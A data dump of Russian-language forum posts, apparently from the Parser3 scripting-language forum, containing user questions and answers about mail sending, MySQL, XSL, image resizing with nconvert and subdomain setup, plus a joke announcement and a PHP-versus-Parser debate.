  Скажите, возможно ли это, и, если да - то как? -\
  (Чтобы на сайте был один экземпляр парсера, видимый из всех\
  поддоменов)\
\
  Буду очень признателен за ответ.\
  Заранее спасибо!"
"51539","Спасибо, но мне надо парсер с поддержкой Mysql, как с этим быть?"
"51543","Странно что-то, к лету разморозились что-ли, давно столько глупых вопросов не было."
"51544","Нет совсем не удивился, путь подставляет правильный, пробелов на конце не наблюдается, но аналогичный глюк присутствует, если его туда засунуть (всмысле пробел)\
\
Если посмотреть переменную\
то получается вот что: [d:\\\\ftp\\bla-bla-bla\\music\\][afftar\\]\
\
и если автора нет то: [d:\\\\ftp\\bla-bla-bla\\music\\]\
\
Выводятся без скобок, нормальные с виду адреса..."
"51545","Извиняюсь затупил, все разобрался пока больше проблем нет! Спасибо!"
"51546","а вы понимаете что при вызове конструкции:\
^file:list[$var]\
\
если в переменной $var будет символ точка с запятой, то это _не_ будет означать что кусок $var который до точки с запятой подставится в первый параметр, а тот что после - во второй? сюрптиз, все подставится в первый параметр.\
\
в вашем случае ищутся файлы расположенные по следующему пути:\
'd:\\\\ftp\\bla-bla-bla\\music\\][afftar\\'\
\
вы уверены, что там у вас что-то есть? более того, парсер не имеет понятия о 'd:\\' & Co."
"51548","Извините, я почти ничего не понял.\
Что нужно сделать? Создать папку /bin/ в самом корне хостинга (там где лежат папки /public_html/, /tmp/, /www/ и другие..)?\
\
Далее в папку /bin/ положить /parser3/ со всеми потрохами - правильно?\
\
А в папке\
  /public_html/cgi-bin\
И во всех папках-поддоменах \
  /public_html/subdomen1/cgi-bin\
  /public_html/subdomen2/cgi-bin\
  /public_html/subdomen3/cgi-bin\
\
Кладем файл parser3.sh \
...какого содержания?\
\
и что делать в таком случае с файлом\
.htaccess???"
"51549","Нет нет, там все прекрастно работает, неработает вот эта часть выражения:\
$path^;^if(def $form:LttList){^^[$form:LttList].+}{^^А.+} - не работает (выводит пустой каталог), а так:\
$path;^^А.+ или так $path^ работает (выводит воответственно по первой букве или все).\
\
Вот где собака порылась...\
(извените за дубль)"
"51550","И в инструкцию по установке не помешало бы включить указание именно по этой теме. Не поверю, что мой вопрос такой уж редкий."
"51552","Хорошо наверно, когда темы закрываются словом СПАСИБО..."
"51553","Конструкция\
[code]\
^mail:send[ \
      $.from[Петя <vasa@vasa.ru>] \
      $.to[Вася <peta@peta.ru>] \
      $.subject[Subj] \
      $.text[Text]\
]\
[/code]\
\
выдает ошибку\
send\
\
The mail server doesn't like the name peta@peta.ru. Have you set the 'To: ' field correctly?\
\
Причем такая ошибка как на локальной машине так и на хостинге.\
Раньше все работало, правда на этом проекте парсер 3.14, а до этого был более старый... но все-равно не пойму причину."
"51554","Как отсеить повторяющиеся значения в xsl?\
\
Подробнее: есть в базе год у каждого элемента, как вывести только по одному экземпляру года?\
типа: 2004 2005 2006\
\
извините если не совсем ясно излагаю, свои мысли...:)"
"51555","если я правильно интерпретировал поток сознания в вопросе..."
"51556","на скорую руку:\
возможно, у вас как-нибудь подключился не тот libgc, что указан в build-all-xml?\
вижу, что в 6.6 в приведённом месте конструкция правильная:\
[code]\
    if (sem_init(&GC_suspend_ack_sem, 0, 0) != 0)\
        ABORT(\"sem_init failed\");\
[/code]\
т.е. второй параметр к функции = 0, не 1 [который может приводить к приведённому вами]."
"51557","волшебной палочки нет."
"51558","Что этот код можно оптимизировать:\
[code]\
$selectFilterType[^table::sql{\
	SELECT type_id, type_name\
	FROM filters_type\
	}]\
\
^selectFilterType.menu{\
$selectFilterType.type_name<br>\
<select name=\"filter\">\
$selectFilters[^table::sql{\
	SELECT filter_id, filter_name\
	FROM filters\
	WHERE type_id = '$selectFilterType.type_id'\
	}]\
^selectFilters.menu{\
<option value=\"$selectFilters.filter_id\">$selectFilters.filter_name</option>\
\
}\
[/code]\
\
Вот-такой запрос:\
[code]$selectFilters[^table::sql{\
	SELECT filters_type.type_id, filters_type.type_name, filters.filter_id, filters.filter_name\
	FROM filters_type, filters\
	WHERE filters_type.type_id = filters.type_id\
	}][/code]\
выводит все содержимое, только вместо\
[b]name[/b]\
[i]option[/i]\
[i]option[/i]\
[i]option[/i]\
[b]name2[/b]\
[i]option2[/i]\
[i]option2[/i]\
\
получается:\
[b]name[/b] [i]option[/i]\
[b]name[/b] [i]option[/i]\
\
и т.д\
\
из-за того что выбираемых значений больше двух, хеш из бд у меня создать не получается. Если кто поможет буду жутко благодарен."
"51559","нам никогда не нужно было пакетно обрабатывать.\
любопытно, зачем бы?"
"51560","я специально так сделал (и ' и \"), чтобы потом не было вопроса «а как бы мне вывести картинку, с именем\
[code]\
a'b\"c.gif\
[/code]\
? мне такое имя очень нравится и я никогда от него не откажусь!»\
\
при записи такие буквы в именах файлов преобразуются к HH_.\
если \
* имя файла записать в DB, \
* файл сделать ^f.save[]\
то потом, если\
* имя считать из DB\
* файл считать по этому имени\
то файл… считается!"
"51561","можно попробовать сначало достать все нужные фильтры одним запросом \
[code]\
$types[^selectFilterType.menu{$selectFilterType.type_id}[,]]\
потом достать из filters WHERE type_id IN ($types)\
далее либо делать хеш по type_id либо с селектами морочиться (думаю труда не составит)... \
[/code]\
"
"51562","как то не более рефакторено получается.\
Там рефакторинг главное скорее.\
Сделать бы хэш из правильного запроса, и работать с ним"
"51563","да, много чего нет.\
это та, цена что была заплаченна за близость языка многим непрофессиональным программистам.\
\
мы специально и тщательно поддерживали и поддерживаем баланс между набором возможностей и их доступностью той аудитории, на которую мы нацелены.\
\
в планах добавлять в язык возможности постепенно.\
естественно, ближайшая напрашивающаяся возможность, это введение типизации параметров функций, а за ним и переменных.\
\
мы пока не пришли к ощущению, что это нужно всем прямо сейчас.\
\
предлагайте новые возможности, все вместе всё обсудим."
"51565","пожалуйста, перечитайте совет.\
\
2миша:\
[code]\
const String& Request::absolute(const String& relative_name) {\
... \
	if(relative_name.pos(\"://\")!=STRING_NOT_FOUND // something like \"http://xxx\"\
#ifdef WIN32\
			|| relative_name.pos(\":\")==1  // DRIVE:\
			|| relative_name.starts_with(\"\\\\\\\\\") // UNC1\
			|| relative_name.starts_with(\"//\") // UNC2\
			return -как было, не дополняя ничем-;\
\
#endif\
[/code]"
"51566","[code]\
man ln\
[/code]"
"51569","Разрулил... кстати спасибо, направили в правильное русло... \
Вот что получилось в рузельтате: \
\
<xsl:template name=\"draw-years-line\">\
<xsl:for-each select=\"root/works/work/date[not(year = preceding::*/year)]\">\
<xsl:sort select=\"year\" order=\"ascending\" data-type=\"number\"/>\
<xsl:value-of select=\"year\"/>&#160;\
</xsl:for-each>\
</xsl:template>"
"51570","Переделал адрес на /FTP/\
Пересталял ; в другие места - ничего не помогает.\
\
Может я чего непонял..."
"51573","Если есть желание, проверьте сколько отжираются памяти метод с селектом из базы в каждой итерации (в вашем случае) и метод с одним запросом. имхо отличия будут детскими :) если конечно у вас не 10к фильтов :) \
\
Если хотите достать все сразу одним запросом, то дока по mysql вроде функционирует нормально. Хотя, не уверен, что этим вы добьетесь видимого повышения производительности. Тут можно про KISS таки вспомнить :) \
\
А рефакторинг ради рефакторинга, как вы видимо знаете - дело гиблое и неоплачиваемое :)"
"51575","просто есть запрос который все вытаскивает нужные данные за одни раз, и мне странно что приходится плодить еще одну сущность, если кто-то предложит более элегантное решение буду рад, если нет оставлю так."
"51576","Присмотрелся, и заметил, что выложил для примера код позавчерашний код, там это еще не работало. Во вчерашнем, адрес соберался достаточно уверенно.\
\
И еще, свежий воздух, лунный свет и вода сделало озарение, я разобрался в совете, но не понял одного:\
\
Куда в итоге подставляется регуляоное выражения из строки:\
[code] $path^;^if(def $form:LttList){^^[$form:LttList].+}{^^А.+}[/code]\
\
А так уже веселее, код почти работает. :)\
"
"51577","http://msdn.microsoft.com/msdnmag/issues/06/01/EndBracket/"
"51579","Надо сделать ресайз картинок. На локальной машине все получается, как только заливаю все на сервер - не работает.\
Делал, как описано здесь: http://www.parser.ru/forum/?id=43100 И здесь http://www.parser.ru/forum/?id=43109 \
И... тоже не работает. :(\
\
$f[^file::exec[/cgi-bin/nconvert;;-help]]\
$f.status\
\
 $f.status выдает ошибку 243\
\
 Права на файл nconvert стоят 755.\
\
 Хост на hosthost.biz \
\
 В чем может быть проблема? Помогите, плиз!\
\
 P.S. Записывал nconvert в другой каталог - результат тот же. :("
"51580","Пытаясь оптимизировать свой код я начал понимать, что мало опыта в работе с хэшами.\
Скинте ссылку или на мыло. Заранее благодарен."
"51581","Хотелось бы напомнить Вам, господа, что все эти годы Студия разрабатывала и поддерживала язык абсолютно бесплатно. Почему – Вы можете легко почитать на главной странице.\
Сегодня мне, как главному в Студии, хотелось бы подытожить результаты многолетей работы и высказать свое мнение по поводу того маразма который творится вокруг Парсера. \
\
Во-первых за много лет ни один из пользователей парсера так и не выложил своих разработок на всеобщее обозрение (детский лепет не всеет – это только дискедитация и языка Парсер, и Студии и меня лично). СУКа не была написана. А если была написана, то широкой общественности не представлена. Я про эту скромность – скрытость четка написал http://www.artlebedev.ru/kovodstvo/133/ . Господа разработчики получившие Парсер абсолютно бесплатно, забивают деньги, а студия терпит убытки. (Напомню что недавно какие-то мудаки приковали менеджера к батареи и унесли почти миллион рублей!).\
\
Выход: чтобы продолжить использовать парсер в своих коммерческих проектах Вам необходимо или в 3-месячный срок принять участие в разработке бесплатной CMS на парсере, или выпить йаду (перевести деньги для бастующих французских профсоюзов).\
NB Для некоммерческого использования Парсер будет бесплатен всегда, поэтому ненадо тут воя поднимать про ущемления яиц, хорошо?\
\
Во-вторых, в трехмесячный срок удалить или откорректировать ВСЕ сообщения на данном форуме, содержащие  короткое тире вместо длинного чуждые русскому языку кавычки-лапки, и букву «ё» заменить на более космополитичную «е». \
Добровольцы могут обратится к ПАФу для записи и получения прав доступа для начала исправления.\
\
И в третьих, необходимо в кратчайший срок добавит в синтаксис языка новые операторы (если что – ПАФ поправит): СреднееТире, БезразрывныйПробел, КавычкиШишечки, ТочкаНадЙ. \
Также планируется ввести новый синтаксис и пунктуацию – заменить фирменную парсерную птичку «^» на «:)» и соответственно именно ей предварять вызов функций. \
\
Также, привести некоторые встроенные операторы в соответствии с законодательством (Студии неохота судится с государственными мудаками в штацком)  и кириллической орфографии:\
1)	Метод “@main”  переименовать  в “@Главный:{”\
2)	Postprocess переименовать в “ТочкиНадЙ”\
3)	Все :-)\
\
Мое решение окончательно и облаживанию не подлежит. Все вопросы – в этой ветке форума."
"51582","От себя хотелось бы добавить, что наверное работа по переименованию Postprocess переименовать в “ТочкиНадЙ” – это первоочередная задача, Так как это соответствует идеологии парсера.\
\
PS А про метод “@Главный:{” надо еще подумать – это вопрос скорее координации, нежели алгоритмики :-)"
"51584","И вас тоже с первым."
"51585","Деньги для бастующих французских профсоюзов перевел."
"51588","Знаю www.net.ru, но хотелось бы большего - как минимум VPS с возможностью установки tomcat или resin из панелей управления. Хостинг нужен в РФ на центровых московских площадках. Вопрос цены в приоритетах далеко не на первых местах.\
\
Можно в мыло чтобы не флудить тут: asharky@opensea.ru"
"51589","*)\
Хотя, \"в каждой шутке есть доля шутки\":\
[quote]Выход: чтобы продолжить использовать парсер в своих коммерческих проектах Вам необходимо или в 3-месячный срок принять участие в разработке бесплатной CMS на парсере[/quote]\
Это прежде всего вопрос совести. Я думаю те у кого она есть в той или иной степени вкладываются в общее дело:\
[url=\"http://www.parser.ru/forum/?author=egr&doSearch=do\"]Egr[/url]\
[url=\"http://www.parser.ru/forum/?author=Eugene%20Spearance&doSearch=do\"]Eugene Spearance[/url]\
и другие... (... приступ амнезии)\
\
Совесть мемя самого придавила в этом году. В настоящее время, для ее реанимации поднимаю проект:\
[url=\"http://parser.proc.ru\"]система управления наполнением сайта построенная на языке Parser[/url] (Open Source)\
\
[quote]Во-вторых, в трехмесячный срок удалить или откорректировать ВСЕ сообщения на данном форуме, содержащие короткое тире вместо длинного чуждые русскому языку кавычки-лапки, и букву «ё» заменить на более космополитичную «е». \
[/quote]\
С удовольствием!\
\
[quote]Добровольцы могут обратится к ПАФу для записи и получения прав доступа для начала исправления.[/quote]\
[b]ДАЙТЕ ДВЕ!!!![/b]"
"51592","Скачал вот отсюда: http://download.xnview.com/ - XnView-x86-unknown-linux2.x-static.tgz\
\
Eugene Spearance:\
> Нет, нужно скачать nconvert под Red Hut (Linux). \
> Вот так называется архивчик:\
> XnView-x86-unknown-linux2.x-static.tgz\
> Брать тут:\
> http://download.xnview.com/"
"51593","Хорошо, первых двух амнестируем. как вы говорите, \"в честь праздника\".\
Что касается вас лично. то как я уже сказал, у вас есть 3 месяца (92 дня).\
\
По поводу редактирования сообщений форума - то пользователя/пароль к Имприматуру вышлю позже мэйлом."
"51594","Коллеги,\
\
Почти четыре года назад, 29 апреля 2002 года Студия Артемия Лебедева представила третью версию своего программного продукта Parser.\
\
3 октября 2005 года Студия отпраздновала свое десятилетие, предложив принять виртуальное участие в праздновании всем желающим, подключенным к интернету. Мероприятие имело огромный успех и вызвало широкий общественный резонанс, поэтому мы решили сделать подобные мероприятия частью нашей и вашей жизни.\
\
Начиная с этого года, мы будем отмечать день рождения третьего парсера весной, перед уходом Студии на весенние каникулы. Зарегистрированные на форуме Парсера независимые разработчики приглашаются в Студию Артемия Лебедева для личного участия в мероприятии и знакомства. Принять виртуальное участие смогут все желающие.\
\
Празднование состоится в субботу, 29 апреля в офисе Студии Артемия Лебедева, по адресу: Газетный переулок, дом 5, Москва, Россия, 125993. Если вы собираетесь прийти, пожалуйста напишите об этом на paf@design.ru (Александру Петросяну) или mailbox@artlebedev.ru (Денису Шохину) для оформления пропуска.\
\
До скорой встречи,\
\
Александр Петросян"
"51595","28-го у самого ДР, так что с удовольствием воспользуюсь поводом и подниму стакан красного и 29-го. =)"
"51596","Доброй ночи всем участникам конференций!\
Понимаю, что мой вопрос вызовет только улыбку, но всё же попытаюсь спросить. Насколько сложен parser в освоении новичку, который практически не знает языков программирования (общие представления есть конечно, но...)? И вообще стоит ли \"завязывать знакомство\" с этим языком, или проще сразу начать изучать php (не очень то охота)?\
\
Заранее спасибо за ваши ответы!\
С уважением, Дмитрий."
"51597","- нужно думать (но это в общем нужно при изучении любого языка);\
- в форуме все посылают... читать документацию и faq;\
- очень мало готовых решений, которые скачал, поставил и наслаждаешься, пока они работают;"
"51598","То есть гуманнее будет подождать немного с изучением parser?\
А с другой стороны, документацию и faq прочитать не лень, тогда и готовые решения не нужны."
"51599","Если есть желание знать какой-нибудь из языков скриптования, то нужно посылать все принципы и начинать изучать...\
Правда остаются вопросы.\
1) Выбор языка.\
2) Возможности языка и развитие его в будущем.\
\
Предлагаю сравнить PHP и Parser.\
Первый очень мощный (так говорят те, кто на нём пишет), второй вроде как уступает...\
По функциональности Parser и вправду уступает PHP, но половина функций второго можно заменить использованием нескольких из первого. Поэтому часто это не бывает проблемой. Единственное, что, на мой вгляд, не удобно у Parser'а, так это методы работы с изображениями. Приходится в это случае использовать какой-нибудь дополнительный язык, к примеру PHP, ActivePerl и т.п.\
\
По второму вопросу рассуждать сложно.\
Вроде как язык развивается. И синтаксис второй и третьей версии сильно отличаются.\
Уверен, что студии этот язык нужен и выгоден. Но для чего именно не имею представления... Это уже вопрос к организатором всего этого добра.\
\
[i]Лично для меня Parser является очень удобным языком скриптования. Документация написана хорошо и понятно. Есть форум, где можно задать вопросы либо найти готовые решения. На сайте есть раздел \"Примеры\" - это одна из лучших страниц сайта...[/i]\
\
Желаю удачи в изучении! Если, что задавайте вопросы здесь, НО и не забывайте пользоваться поиском по форуму."
"51600","те функции PHP которые заменяются в Парсере несколькими -- называются хелперы, помогают ускорить и упростить разработку.\
Другое дело что PHP сложнее для освоения, так как ближе к взрослым языкам программирования. Изучать ПХП или Парсер? Лучше начать с Парсера(sic!) поскольку на нем меньше готовых решений -- которые поставил и наслаждаешься. Но продолжать учиться дальше никто не мешает."
"51602","Может я искать разучился, но на форуме обсуждались только *nix драйвера, на Вин не нашел.\
\
поставил себе вчера 5 мускуль, и похоже, что текущие дрова там не держут протокол идентификации, типа обновить надо :\
\
mysql://****@localhost/test?charset=cp1251_koi8\
Client does not support authentication protocol requested by server; consider upgrading MySQL client\
\
Так вот. Есть ли новые дрова в природе? Или сносить этот мускуль и ставить старый добрый рабочий?"
"51606","$f.stderr - ничего, \
f.text: - ничего, \
f.status: 243\
\
Уже три разных nconverta скачал. Именно на сервере не работает. Когда указываю другой путь до файла, заведомо ложный - ругается \"stat failed: No such file or directory (2), actual filename\""
"51607","Скорее всего, неверная версия nconvert'а."
"51609","Файл nconvert и libformat.so взял отсюда: http://download.xnview.com/ из архива XnView-x86-unknown-linux2.x.tgz В архиве XnView-x86-unknown-linux2.x-static.tgz , как указал Eugene Spearance файла libformat.so4 16 нет. Там даже каталога /lib/ нет, я скачал XnView-x86-unknown-linux2.x.tgz - там нашлось, но... Может действительно версия не подходящая?\
\
Хм. Тогда где можно взять подходящую? :("
"51610","Попробуйте взять верную версию оттуда.\
На линукс не ставил, может есть какие подводные камни - не подскажу...\
Но, думается, всё стандартно."
"51611","Я с ними работаю на RedHat. http://astroncgroup.ru/nconvert.zip\
Вызывается примерно так:\
$f[^file::exec[/cgi-bin/nconvert;;-o;$env:DOCUMENT_ROOT/$form:photo1.name;-rmeta;-ratio;-q;80;-resize;100;$env:DOCUMENT_ROOT/big/$form:photo1.name]]"
"51612","Начинать изучать ИМХО лучше как раз с PHP (из-за того, что у него нормальный синтаксис), а потом, если сильно захочется, изучить Парсер. В противном случае будет очень сложно переучиваться."
"51613","Скопировал в /cgi-bin/:\
nconvert\
libformat.so\
\
Права на оба файла: rwx r-x r-x\
\
В файле вызываю так:\
$f[^file::exec[/cgi-bin/nconvert;;-help]]\
<pre>f.status: $f.status</pre>\
<pre>f.stderr: $f.stderr</pre>\
<pre>f.text: $f.text</pre>\
\
$f.status пишет - 243, все остальное - молчит :("
"51615","И рад, что 3 года назад выбрал Парсер.\
\
Синтаксис Парсера объективно понятнее и красивее. Спасибо [url=\"http://www.parser.ru/forum/?id=48454\"]ПАФу[/url]."
"51616","Если учить изначально - то да, понятнее и проще. Если учить после С-подобных языков - то синтаксис кажется просто ужасным."
"51617","не имеет значения синтаксис -- имеет значение логика, просто ногие начинающие изучать ПХП в эйфории готового забывают о самом главном.\
\
У Питона ненормальный синтаксис -- ну и что, это ему мешает?"
"51618","он иногда удобнее, на нем есть красивые вещи, например cakephp, ну и ближе он к большим языкам. Знать его не помешало-бы(за этим начал его изучать), главная цель программиста не зависеть от языка реализации."
"51619","ну если вы осилили с-подобные языки для вас проще PHP, если вы начинаете сначала, то разницы большой нет.\
Если вы потом смотрите на PHP то синтаксис тоже кажется ужасным."
"51620","У тов. username, насколько я понимаю, имеенно «изначальный» случай.\
\
Кстати, освоить C++ после Парсера мне далось проще, чем если бы вообще ничего не знал."
"51621","Может я вообще спортивным танцем через год профессионально займусь. Зачем мне лишние знания: PHP, cpp?! :) А Парсер изучить несложно."
"51622","http://securephp.damonkohler.com/index.php/Email_Injection"
"51623","я лишь сказал не зависеть от языка реализаии:\
то есть уметь эффективно решить задачу, пользуясь оптимальными средствами.\
\
Если говорить о том чего нельзя сделать без ПХП, то пожалуйста:\
Например зная PHP вы можете взять wackowiki и модифицировать под свои нужды."
"51624","Я лишь говорю о том, что большинство задач, стоящих перед начинающим, замечательно решается Парсером и учить PHP «на вырост» не имеет смысла."
"51625","Похоже на истину в моем случае, но с оговорками. \
1. адрес из поля e-mail в форме не является адресом отправителя, то есть в заголовке письма не фигурирует.\
2. коды перевода строки приходят как обычный текст - строка не переводится. Правда, спам отправляли не с сайта, похоже на троянцев.\
3. Настораживает то, что рассылка спама началась Fri Mar 17 15:56\
Если не ошибаюсь, это означает 17 марта 2006, то есть тот день, когда была опубликована новость об исправлении уязвимости в mail:send; Не слишком ли быстрая реакция? Учитывая, что заказчики спама - из США, спамили (судя по логам) через троянцев и в английской версии сайта (http://www.parser.ru/en/) этой новости до сих пор нет?"
"51626","…и когда (время) опубликовали новость 17 марта 2006?\
Если не секрет, конечно…\
З.Ы. http://www.parser.ru/forum/?id=51625"
"51629","- уязвимость была выявлена нашим клиентом\
- время публикации новости я не записыал, но я её опубликовал в течении нашего рабочего дня (12:00-21:00 MSK)\
- в момент публикации новости собранные версии уже были выложены\
- в cvs этот баг был поправлен примерно за две недели до этого (ориентировочно, точный timestamp ищите сами в cvs)"
"51630","Есть задача доставать и выводить из записи в базе данных в качестве короткого описания следующее:\
----- необходимый текст ------ ненужный текст\
дефисов может быть сколь угодно от пяти.\
Сейчас это делает следующий код:\
\
[code]^if(def $text){\
$shortSelect[^text.match[[\\-]{5,}(.*?)[\\-]{5,}][']]\
$short[$shortSelect.match]\
$short_text[^short.match[[\\-]{5,}(.*?)[\\-]{5,}][g]{$match.1}]\
}[/code]\
\
можно ли его упростить?\
Спасибо."
"51632","Дмитрий! Дело в том, что программист - это своего рода поэт. На каком языке пишет поэт - не имеет значение, талант либо есть, либо его нет. Так же и в программирование, самое главное - это мышление, понимание логики и алгоритмов происходящих событий. Парсер вполне дает возможность научиться алгоритмическому мышлению.\
Теперь о функциональности. Изначально пхп создавался для \"оживления\" домашних страничек, а не для того, чтобы писать ПО для спутников, в этом контексте его и следует рассматривать. Да, пхп справляется с поставленной ему задачей, но парсер в этом ему ничем не уступает. Более того, парсер во многом удобнее, чем пхп. На моем личном не было задачи, которую я бы не смог решить при помощи парсера, а разрабатываю я многие системы управления. Просто у парсера нет еще всемирного признания, поэтому многие не очень доверяют этому языку. Используя связку парсер+бд+яваскрипт можно разрабатывать хорошие и функциональные системы."
"51635",">Да, пхп справляется с поставленной ему задачей, но парсер в этом ему ничем не уступает.\
\
Парсер уступает PHP по многим параметрам, первый из которых - синтаксис. Остальные ищите по форуму."
"51637","на фоне должно идти только общих, основополагающих вещей."
"51638","Мне вот Питон нравиться? Он тоже уступает ПХП? Синтаксисом, угу ;)\
Объективное понятие: эффективность выполнения задачи.\
Результат."
"51639","Насчет пропуска думаю Костя Томашевич поможет. Он надеюсь будет?"
"51640","Во-первых, покажите мне эталон синтаксиса и место, где он хранится =)\
Во-вторых, насчет \"поищите на форуме\", я же сказал, что в разработке [b]основных[/b] сервисов пхп не уступает парсеру. А для разработки более сложных систем, пхп не используется, используются более совершенные языки программирования."
"51641","ой в пятом ПХП есть масса прикольных фишек котрые иногда очень нужны.\
А более совершенные языки? Ну конечно же Питон."
"51642","А еще интересно какой прирост в производительности даст Парсер если использовать бинарники, без интерпритатора? Такая возможность обсуждалось в одной из тем про защиту кода."
"51643","Наша дискуссия напоминает мне сравнение вилки и ложки =) Способы разные, а назначение одно."
"51644","Мне вот лично познакомиться с ПАФом и Мишей v.2 давно хотелось."
"51645","Я вообще за запрет идеологических споров на данном форуме.\
Надо их игнорировать. А то приходит человек который ничего не знает, задает вопрос, набегает куча народа, большая часть из которых такие как я, и тоже начинают отвечть про какие-то мега задачи, будьто-бы все в день по livejournalу делают."
"51646","Я смотрю на это по-другому. Чем больше людей выскажет свою точку зрения, тем больше новичок получит информации. Просто отвечают на такие темы обычно хорошие специалисты, которые действительно знают в этом толк."
"51647","И мне выдает ошибку 3. А папку big вообще удаляет. По форуму искал, ниче не помогает.\
\
[code]@auto[]\
# Раскоментировать если используется nconvert\
$script_path[/../cgi-bin]\
$script_resize_name[nconvert]\
\
$script_path[/../cgi-bin]\
$script_resize_name[images.pl]\
\
$script_convert_path[/../cgi-bin]\
$script_convert_name[convert.pl]\
### End @auto[][/code]\
\
[code]^use[images.p]\
\
<form method=\"POST\" enctype=\"multipart/form-data\" action=\"$request:uri\"> \
<table>\
	<tr>\
		<td>Картинка:</td>\
		<td><input type=\"file\" name=\"pict\" size=\"50\" /></td>\
	</tr>\
	<tr>\
		<td></td>\
		<td><input type=\"submit\" value=\"Изменить размер\"> </td>\
	</tr>\
</table>\
</form>\
\
^if(def $form:pict){\
$source_path[/img/i/big/]\
$destination_path[/img/i/small/]\
$extension[^file:justext[$form:pict.name]]\
$image_name[54321.$extension]\
$format[jpg]\
^if(!^images:save[$form:pict;$source_path;$image_name;$format]){\
	^if(^extension.lower[] ne ^format.lower[]){\
		$image_name[${image_name}.$format]\
	}\
	$status[^images:resize[\
		$.source_path[$source_path]\
		$.destination_path[$destination_path]\
		$.image_name[$image_name]\
		$.x_size(100)\
		$.y_size(120)\
		$.quality[80]\
	]]\
	^if(!$status){\
		^rem{ *** Всё ок *** }\
	}{\
		^rem{ *** Возникла ошибка *** }\
		$status\
	}\
}\
}[/code]"
"51648","Решение принял - распечатываю мануал и обучаюсь.\
Надеюсь, что мои будущие вопросы не будут вас напрягать :)\
\
С уважением, Дмитрий."
"51650","- сделать все уроки из документации\
- научиться использовать класс http://www.parser.ru/examples/comp/"
"51651","В фоновом режиме пишу вторую версию. Так что пример неудачный ;-)\
\
В этом идеологическом споре не выступало ни одного фанатика, что меня очень радует :-)"
"51652","можно избавиться от символьных классов, т.к. в данном случае участвует только один символ.\
\
\\-{5,}(.*?)\\-{5,}\
\
А вот конструкцию {5,} я бы подвёрг сомнению. Не уверен что она работает как от 5 и больше. Скорее просто как точное совпадение с 5-ю тире."
"51654","Возможно ли сделать так, чтобы сервер сам определял версию браузера, с которого пользователь заходит на сайт и выдавал определённый html-код для разных браузеров? (возникают проблемы с некоторыми скриптами)"
"51655","много о чём говорящий пост. :)\
Опишите подробно, систему, пути, что где лежит, какие права и т.д.\
\
[code]\
# Раскоментировать если используется nconvert\
$script_path[/../cgi-bin]\
$script_resize_name[nconvert]\
\
$script_path[/../cgi-bin]\
$script_resize_name[images.pl]\
[/code]\
\
Что у вас имеется в наличии imagemagick или nconvert?"
"51657","Посмотрел... спасибо.\
Можно ли сделать что-то подобное на JavaScript,\
Вот этот комментарий я взял сайта yahoo.com: <!--[if IE]>\
с помощью него возможно запретить выполнять сцеарий в Firefox?"
"51662","Скажем, есть таблица (DB MySQL)\
[code]\
CREATE TABLE mytab\
(\
	id	INT UNSIGNED not null AUTO_INCREMENT PRIMARY KEY,\
	name	VARCHAR(200) null,\
	id_s	INT UNSIGNED not null default 0\
);\
[/code]\
\
Необходимо, чтобы id_s присваивалось тоже жначение что и id\
\
[code]\
INSERT mytab (name, id_s) VALUES ('foo', LAST_INSERT_ID());\
[/code]\
Почему данный вариант не проходит, или как можно сделать иначе (пример тривиальный :)"
"51663","не подходит, потому что на момент инсерта записи, last_insert_id ещё нет. Подробнее об этом в мануале есть."
"51664","Т.е. в помощью апачевского фильтра:\
ExtFilterDefine proxy-parser mode=output intype=text/html cmd=\"c:/wwwroot/parser3.exe как-то_надо_указать_путь\"\
Можно перехватить парсером входной поток данных?"
"51665","Потому что в этом примере нужно просто использовать ID вместо IDS (никакого смысла в дублирующем поле нет)."
"51666","Как тогда иным образом можно это реализовать?\
\
Что касается примера, то имеется ввиду что ИНОГДА (для случаев определенный программой) используется именно такой вид запроса т.е. что бы id = id_s"
"51667","Чем не устраивает ids = 0 или ids = NULL?"
"51668","самый простой способ\
[code]\
insert ...\
\
$id = select last_insert_id()\
\
update table set id_s = $id where id = $id\
[/code]\
\
можно сделать ещё так\
[code]\
$id = select max(id) from table\
$id = $id + 1\
insert into table (id, id_s) values ('$id', '$id')\
[/code]\
\
но при большой нагрузке будет глючить, одна запись будет попадать в таблицу, другая будет лететь михо.\
\
ещё можно использовать последовательности, то это сложнее есть в базе нет поддержки native поддержи"
"51669","честно сказать не силён. У Миши нужно спросить.\
Как вариант могу предложить так:\
[code]\
^void:sql{INSERT mytab (name, id_s) VALUES ('foo', 0)}\
$id(^MAIN:pSQL.last_insert_id[mytab])\
^void:sql{UPDATE mytab SET id_s = $id WHERE id = $id }\
[/code]"
"51670","Этот пример частный случай вырванный из таблицы и ее запросов (поверьте на слово, так необходимо, дабы избежать разбиения на 2 таблицы, что очень не желательно)"
"51671","Я тоже остановился на update, все же как-то риксковано в случае с max() поскольку возможен вариант одновременного запроса.  На этом видимо и предется остановиться/ Всем большое спасибо"
"51677","Приветствую!\
\
Я веду рассылку: \"Принципы создания движка сайта (CMS)\"\
В которой набираю команду по созданию CMS на своих принципах.\
\
Сейчас выпущен второй выпуск:\
http://content.mail.ru/arch/21671/1068466.html\
\
И готов к выпуску третий. Разошлю на днях.\
С ПЛАКАТАМИ!\
\
---\
\
Вот аннотация рассылки:\
По шагам, не спеша, я рассказываю в своей рассылке \
как создать мощную систему управления сайтами (CMS) \
на любом серверном языке программирования. \
Излагать буду именно ПРИНЦИПЫ СОЗДАНИЯ подобных систем. \
Также в рассылке будет производится набор команды разработчиков \
для создания операционной системы для сайтов. \
\
Подписка здесь\
http://content.mail.ru/pages/p_21671.html\
или здесь\
http://subscribe.ru/catalog/inet.webbuild.khusamov\
\
Подписывать на обоих серверах не имеет смысла, \
там и там выпуски будут дублироваться.\
Даю оба варианта, так сказать, по вкусу.\
\
Первый выпуск уже разослан:\
http://content.mail.ru/arch/21671/1065935.html\
\
// Хусамов Сухроб"
"51679","Ну и где сравнение по параметру \"эффективность выполнения задач\"? На PHP, например, гораздо больше проектов написано, чем на Парсере. Это показатель?"
"51680","Насколько я понял, Парсер будет наполняться возможностями, приближающими его к профессиональным языкам. \
\
Новые возможности я буду предлагать, но не скоропалительно. А исходя из результатов моей работы над Операционной Системы Сайтов (http://content.mail.ru/pages/p_21671.html). Так будет куда обоснованней."
"51681","Добрый день!\
\
Вот такое есть мнение:\
[quote]Ответ на вопрос \"Кто будет заниматься развитием Parser3, когда от этого откажется PAF ?\" остается открытым. Риск использования технологии, в развитии которой реально занят 1 (один) человек, представляется значительным и неоправданным.[/quote]\
\
Хочу услышать от разработчиков ответ на вопрос: и какой же риск? Если он вообще имеется.\
\
__________\
[i]Принципы создания движка сайта (CMS)[/i]\
[i]http://content.mail.ru/pages/p_21671.html[/i]"
"51682","и правильно сделали\
